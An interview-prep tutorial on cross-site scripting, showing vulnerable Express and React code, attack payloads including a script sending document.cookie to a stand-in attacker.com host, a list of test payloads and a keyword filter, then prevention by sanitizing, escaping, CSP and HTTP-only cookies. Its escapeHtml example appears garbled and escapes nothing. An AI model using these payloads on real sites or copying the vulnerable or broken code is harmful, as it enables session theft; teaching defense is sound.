What is XSS and how to prevent it?
XSS (Cross-Site Scripting) is one of the most common web vulnerabilities where attackers inject malicious JavaScript into web pages viewed by other users.
Types of XSS
1. Stored XSS (Persistent)
Malicious script is stored in database and executed when users view the page.
// Vulnerable code
app.post('/comment', (req, res) => {
const comment = req.body.comment; // User input
db.save({ comment }); // Stored directly!
});
// Display page
app.get('/comments', (req, res) => {
const comments = db.getAll();
res.send(`
<div>${comments.map(c => c.comment).join('')}</div>
`); // ❌ Executed if comment contains <script>
});
// Attack payload
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>2. Reflected XSS
Script is reflected from web server (URL parameter, form input).
// Vulnerable search
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`<h1>Results for: ${query}</h1>`); // ❌ Reflected!
});
// Attack URL
https://site.com/search?q=<script>alert(document.cookie)</script>3. DOM-based XSS
Vulnerability exists in client-side code.
// Vulnerable client code
const params = new URLSearchParams(window.location.search);
const name = params.get('name');
document.getElementById('greeting').innerHTML = `Hello ${name}`; // ❌
// Attack URL
https://site.com?name=<img src=x onerror=alert(1)>Prevention Methods
1. Input Sanitization
// Node.js with DOMPurify
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.post('/comment', (req, res) => {
const comment = DOMPurify.sanitize(req.body.comment);
db.save({ comment });
});2. Output Escaping
// Escape HTML entities
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
app.get('/comments', (req, res) => {
const comments = db.getAll();
const safe = comments.map(c => escapeHtml(c.comment));
res.send(`<div>${safe.join('')}</div>`);
});3. React Auto-Escaping
// ✅ React automatically escapes
function Comment({ text }) {
return <div>{text}</div>; // Automatically escaped!
}
// ❌ Dangerous - bypasses protection
function UnsafeComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ Safe with sanitization
import DOMPurify from 'dompurify';
function SafeHtmlComment({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}4. Content Security Policy (CSP)
// Express.js
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' 'nonce-random123'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:;"
);
next();
});<!-- Use nonce for inline scripts -->
<script nonce="random123">
console.log('Allowed script');
</script>5. HTTP-only Cookies
// Prevent JavaScript access to cookies
res.cookie('session', sessionId, {
httpOnly: true, // Cannot be accessed by JavaScript
secure: true,
sameSite: 'strict'
});Real-World Example
// Complete protection
const express = require('express');
const helmet = require('helmet'); // Security headers
const DOMPurify = require('isomorphic-dompurify');
const app = express();
// 1. Security headers
app.use(helmet());
// 2. CSP
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-randomNonce'"],
styleSrc: ["'self'", "'unsafe-inline'"]
}
}));
// 3. Input validation
const validateComment = (comment) => {
if (typeof comment !== 'string') return false;
if (comment.length > 1000) return false;
if (/<script|javascript:|onerror=/i.test(comment)) return false;
return true;
};
// 4. Sanitization + escaping
app.post('/api/comment', (req, res) => {
const raw = req.body.comment;
if (!validateComment(raw)) {
return res.status(400).send('Invalid input');
}
const sanitized = DOMPurify.sanitize(raw);
db.save({ comment: sanitized });
res.json({ success: true });
});Testing for XSS
Common test payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
<iframe src="javascript:alert('XSS')">Interview Questions
-
Q: What's difference between XSS and CSRF? A: XSS injects malicious scripts to steal data. CSRF tricks users into performing unwanted actions. XSS directly attacks users, CSRF exploits authentication.
-
Q: Why does React prevent XSS by default? A: React escapes all values embedded in JSX before rendering, converting dangerous characters to safe HTML entities.
-
Q: Can CSP completely prevent XSS? A: No, but it significantly reduces risk by restricting script sources and preventing inline scripts.
-
Q: Is sanitization enough? A: Use defense in depth: sanitization + escaping + CSP + validation + HTTP-only cookies.
Best Practices
✅ DO:
- Escape all user input before displaying
- Use frameworks with built-in protection (React, Angular)
- Implement Content Security Policy
- Validate input on both client and server
- Use HTTP-only cookies for sensitive data
- Sanitize rich text/HTML input
❌ DON'T:
- Trust any user input
- Use
dangerouslySetInnerHTMLwithout sanitization - Rely on client-side validation only
- Insert user data directly into HTML/JavaScript
- Allow inline scripts in CSP unless absolutely necessary
Short Answer
Interview readyA concise answer to help you respond confidently on this topic during an interview.